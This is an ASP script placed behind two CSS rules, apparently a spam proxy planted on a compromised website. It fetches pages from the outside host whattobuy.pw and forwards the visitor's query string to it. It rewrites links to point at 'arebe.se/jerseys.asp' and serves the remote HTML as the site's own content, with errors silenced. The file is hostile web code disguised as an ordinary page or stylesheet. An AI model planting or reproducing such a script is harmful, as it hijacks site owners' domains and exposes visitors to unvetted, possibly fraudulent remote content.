*{margin:0px; padding:0px;}
body{background:#ffffff !important; padding:0px;margin:0px;border:0;}
<%
on error resume next
Function getHTTPPage(URL)
Set HTTPReq = Server.createobject("Msxml2.XMLHTTP")
HTTPReq.Open "GET", URL, False
HTTPReq.send
If HTTPReq.readyState <> 4 Then Exit Function
getHTTPPage = Bytes2bStr(HTTPReq.responseBody)
Set HTTPReq = Nothing
End Function
Function Bytes2bStr(vin)
Dim BytesStream,StringReturn
Set BytesStream = Server.CreateObject("ADODB.Stream")
BytesStream.Type = 2
BytesStream.Open
BytesStream.WriteText vin
BytesStream.Position = 0
BytesStream.Charset = "UTF-8"
BytesStream.Position = 2
StringReturn =BytesStream.ReadText
BytesStream.close
Set BytesStream = Nothing
Bytes2bStr = StringReturn
End Function
htmls = getHTTPPage("http://whattobuy.pw/"&request("classid")&request.ServerVariables("QUERY_STRING"))
htmls = replace(htmls,"http://whattobuy.pw/","http://arebe.se/jerseys.asp?")
htmls = replace(htmls,""&chr(34)&"images/",""&chr(34)&"http://whattobuy.pw/images/")
htmls = replace(htmls,""&chr(34)&"/includes/",""&chr(34)&"http://whattobuy.pw/includes/")
htmls = replace(htmls,""&chr(34)&"includes/",""&chr(34)&"http://whattobuy.pw/includes/")
response.write htmls
%>